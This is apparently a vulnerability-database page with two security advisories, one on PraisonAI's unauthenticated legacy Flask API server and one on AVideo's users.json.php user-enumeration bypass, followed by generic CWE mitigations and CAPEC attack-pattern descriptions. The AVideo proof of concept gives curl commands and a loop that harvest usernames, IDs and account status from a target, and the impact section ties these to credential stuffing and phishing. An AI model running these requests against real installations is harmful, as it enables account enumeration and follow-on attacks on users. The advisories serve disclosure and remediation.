GHSA-6RMH-7XCM-CPXJ
Vulnerability from github – Published: 2026-05-11 13:56 – Updated: 2026-05-11 13:56Summary
PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.
Details
The vulnerable server is the shipped src/praisonai/api_server.py entrypoint.
AUTH_ENABLED = FalseandAUTH_TOKEN = Noneare hard-coded at [src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15).check_auth()returnsTruewhenever authentication is disabled, so both protected routes fail open by design at [src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18).POST /chatonly checks that the request JSON contains amessagekey and then runsPraisonAI(agent_file="agents.yaml").run()at [src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31).GET /agentsis guarded by the same no-op authentication check and returns agent metadata at [src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:55).- When launched directly, the same script binds to
0.0.0.0:8080at src/praisonai/api_server.py.
The deploy subsystem keeps the same insecure authentication default:
APIConfigdefaultsauth_enabledtoFalsein [src/praisonai/praisonai/deploy/models.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23).- The generated sample API deployment YAML recommends
host: 0.0.0.0together withauth_enabled: falsein [src/praisonai/praisonai/deploy/schema.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).
For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in [src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.
Version scope:
v2.5.6already ships the samesrc/praisonai/api_server.pyimplementation.- The current PyPI release on May 1, 2026 is
4.6.33, and it still ships the same unauthenticated server logic.
PoC
The following route-level reproduction was verified locally and proves that the shipped api_server.py exposes /agents and /chat without authentication.
- From the repository root, create a throwaway environment with the server's direct Flask dependencies:
python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
- Execute the shipped
src/praisonai/api_server.pyunder a minimal stub forpraisonai.PraisonAIso only the server auth logic is exercised:
/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types
stub = types.ModuleType("praisonai")
class DummyPraisonAI:
def __init__(self, agent_file="agents.yaml"):
self.agent_file = agent_file
def run(self):
return {"ran": True, "agent_file": self.agent_file}
stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub
path = pathlib.Path("src/praisonai/api_server.py").resolve()
spec = importlib.util.spec_from_file_location("api_server_local", path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
client = mod.app.test_client()
print(client.get("/agents").status_code, client.get("/agents").get_data(as_text=True))
print(client.post("/chat", json={"message": "hello"}).status_code, client.post("/chat", json={"message": "hello"}).get_data(as_text=True))
PY
- Observed result:
200 {"agent_file":"agents.yaml","agents":["default"]}
200 {"response":{"agent_file":"agents.yaml","ran":true},"status":"success"}
Both endpoints succeed without any Authorization header.
Impact
Any reachable caller can invoke the legacy API server's protected functionality without a token.
At minimum, this allows:
- unauthenticated enumeration of the configured agent file through
/agents - unauthenticated triggering of the locally configured
agents.yamlworkflow through/chat - repeated consumption of model/API quota and any other side effects performed by that workflow
- exposure of whatever result
PraisonAI.run()returns to the unauthenticated caller
This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.

GHSA-6RVW-7P8V-MJFQ
Vulnerability from github – Published: 2026-05-05 22:02 – Updated: 2026-05-13 14:20Summary
objects/users.json.php exposes two unauthenticated paths that disclose the full set of registered user accounts. The isCompany request parameter causes the handler to set $ignoreAdmin = true for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside User::getAllUsers()/User::getTotalUsers(). A second path accepts users_id and calls User::getUserFromID() directly with no permission check, producing a single-user oracle. Both paths return id, identification (display name), channel URL, photo, background, and status, plus the total account count.
Details
Root cause #1 — isCompany admin bypass
objects/users.json.php:13-53 (HEAD, v29.0):
$canAdminUsers = canAdminUsers(); // line 13 — for output filtering only
...
if (!empty($_REQUEST['users_id'])) {
$user = User::getUserFromID($_REQUEST['users_id']); // path #2
...
} else if (empty($_REQUEST['user_groups_id'])) {
$isAdmin = null;
$isCompany = null;
$ignoreAdmin = canSearchUsers() ? true : false;
...
if (isset($_REQUEST['isCompany'])) { // line 39
$isCompany = intval($_REQUEST['isCompany']);
if (!$canAdminUsers) {
if (User::isACompany()) { $isCompany = 0; }
else { $isCompany = 1; }

$users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany);
$total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany);
}
User::isACompany() with no argument (objects/user.php:1629-1646) returns !empty($_SESSION['user']['is_company']), which is false for unauthenticated visitors. So the anonymous-attacker branch takes the else arm: $isCompany = 1; $ignoreAdmin = true;.
The admin-only guards in User::getAllUsers() (objects/user.php:2315-2321) and User::getTotalUsers() (objects/user.php:2480-2484) are now short-circuited:
public static function getAllUsers($ignoreAdmin = false, ...) {
if (!Permissions::canAdminUsers() && !$ignoreAdmin) { // $ignoreAdmin === true → guard skipped
_error_log('You are not admin and cannot list all users');
return false;
}
...
$sql = "SELECT * FROM users u WHERE 1=1 ...";
if (isset($isCompany)) {
if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) {
$sql .= " AND is_company = $isCompany ";
} else {
$sql .= " AND (is_company = 0 OR is_company IS NULL) ";
}
}
Note: when the attacker supplies isCompany=0, the else branch is taken because of PHP's operator precedence (!empty($isCompany) && ... short-circuits to false), and the SQL filter becomes is_company = 0 OR is_company IS NULL — i.e. every non-company user. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied rowCount.
Root cause #2 — users_id single-record oracle
objects/users.json.php:20-29 calls User::getUserFromID($_REQUEST['users_id']) with no auth check. User::getUserFromID() (objects/user.php:2028-2075) queries SELECT * FROM users WHERE id = ? and returns id, identification, photo, background, status, channelName, about, tags, with only password/recoverPass/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with total = 1 when the user exists and total = 0 otherwise — a perfect sequential-ID existence oracle.
Why there is no blocking mitigation
- No router-level auth: the
.htaccessrewrite (.htaccess:317) maps/users.jsondirectly to this file. - No CSRF/origin gate: the file is explicitly listed in
objects/functionsSecurity.php:893under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design. - The output-filter block (
objects/users.json.php:66-77) only limits which fields are echoed — it does not suppress existence or display-name leakage, andtotalis always echoed on line 97. rowCountis attacker-controlled with no upper bound (line 17-18 only sets a default of 10).
PoC
Target: a default AVideo 29.0 install at http://target/. No session cookie, no CSRF token, no API key required.
Path 1 — bulk listing via isCompany admin-check bypass
$ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000¤t=1'
{"current":1,"rowCount":1000,"total":42,"rows":[
{"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png",
"background":"https://target/...","status":"a","creator":"<div ...channel URL...>"},
{"id":"2","identification":"alice",...,"status":"a",...},
...
]}
The same call with isCompany=1 returns the subset of company-flagged users; isCompany=0 returns all non-company users. Both branches set $ignoreAdmin = true.
Path 2 — sequential-ID existence / display-name oracle
$ for i in $(seq 1 10000); do
curl -s "http://target/objects/users.json.php?users_id=$i" \
| jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv'
done
1 1 admin a
1 2 alice a
0 null null null
1 4 bob i
...
total=1 → ID exists; identification field leaks the login/display name; status reveals active (a) vs inactive (i).
Verification of the branch logic
// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.
$canAdminUsers = false; $ignoreAdmin = false;
$_SESSION = []; // unauthenticated
$_REQUEST = ['isCompany' => '1'];
if (isset($_REQUEST['isCompany'])) {
$isCompany = intval($_REQUEST['isCompany']);
if (!$canAdminUsers) {
$isACompany = !empty($_SESSION['user']['is_company']); // false
$isCompany = $isACompany ? 0 : 1;
$ignoreAdmin = true;
}
}
var_dump($isCompany, $ignoreAdmin); // int(1) bool(true) → admin guard SKIPPED
Impact
An unauthenticated remote attacker can:
- Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).
- Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.
- Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints.
- Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.
No auth is required, the request is a single unauthenticated GET, and rowCount is unbounded, so the full user list can be harvested in one request.
Recommended Fix
-
Require authentication at the top of
objects/users.json.php, and gate the bulk-listing path to users who legitimately need to search:php require_once $global['systemRootPath'] . 'objects/user.php'; User::loginCheck(); // reject anonymous callers if (!canSearchUsers()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } -
Remove the
isCompany-driven$ignoreAdmin = truebranch (users.json.php:41-48). It served no purpose that the explicitcanSearchUsers()check above does not already cover, and its only observable effect is the bypass described here. -
Gate the
users_idpath behind the same check, or restrict its output to the caller’s own record when the caller is not an admin:php if (!empty($_REQUEST['users_id'])) { $requestedId = intval($_REQUEST['users_id']); if (!canSearchUsers() && $requestedId !== User::getId()) { header('HTTP/1.1 403 Forbidden'); die('{"error":"forbidden"}'); } $user = User::getUserFromID($requestedId); ... } -
Consider clamping
$_REQUEST['rowCount']to a sane ceiling (e.g. 100) and removingobjects/users.json.phpfrom the CSRF-bypass list inobjects/functionsSecurity.php:893unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.

"details": "## Summary\n\n`objects/users.json.php` exposes two unauthenticated paths that disclose the full set of registered user accounts. The `isCompany` request parameter causes the handler to set `$ignoreAdmin = true` for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside `User::getAllUsers()`/`User::getTotalUsers()`. A second path accepts `users_id` and calls `User::getUserFromID()` directly with no permission check, producing a single-user oracle. Both paths return `id`, `identification` (display name), channel URL, `photo`, `background`, and `status`, plus the total account count.\n\n## Details\n\n### Root cause #1 \u2014 `isCompany` admin bypass\n\n`objects/users.json.php:13-53` (HEAD, v29.0):\n\n```php\n$canAdminUsers = canAdminUsers(); // line 13 \u2014 for output filtering only\n...\nif (!empty($_REQUEST[\u0027users_id\u0027])) {\n $user = User::getUserFromID($_REQUEST[\u0027users_id\u0027]); // path #2\n ...\n} else if (empty($_REQUEST[\u0027user_groups_id\u0027])) {\n $isAdmin = null;\n $isCompany = null;\n $ignoreAdmin = canSearchUsers() ? true : false;\n ...\n if (isset($_REQUEST[\u0027isCompany\u0027])) { // line 39\n $isCompany = intval($_REQUEST[\u0027isCompany\u0027]);\n if (!$canAdminUsers) {\n if (User::isACompany()) { $isCompany = 0; }\n else { $isCompany = 1; }\n $ignoreAdmin = true; // line 47 \u2014 bypass flag\n }\n }\n ...\n $users = User::getAllUsers($ignoreAdmin, [...], @$_GET[\u0027status\u0027], $isAdmin, $isCompany);\n $total = User::getTotalUsers($ignoreAdmin, @$_GET[\u0027status\u0027], $isAdmin, $isCompany);\n}\n```\n\n`User::isACompany()` with no argument (`objects/user.php:1629-1646`) returns `!empty($_SESSION[\u0027user\u0027][\u0027is_company\u0027])`, which is `false` for unauthenticated visitors.

Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
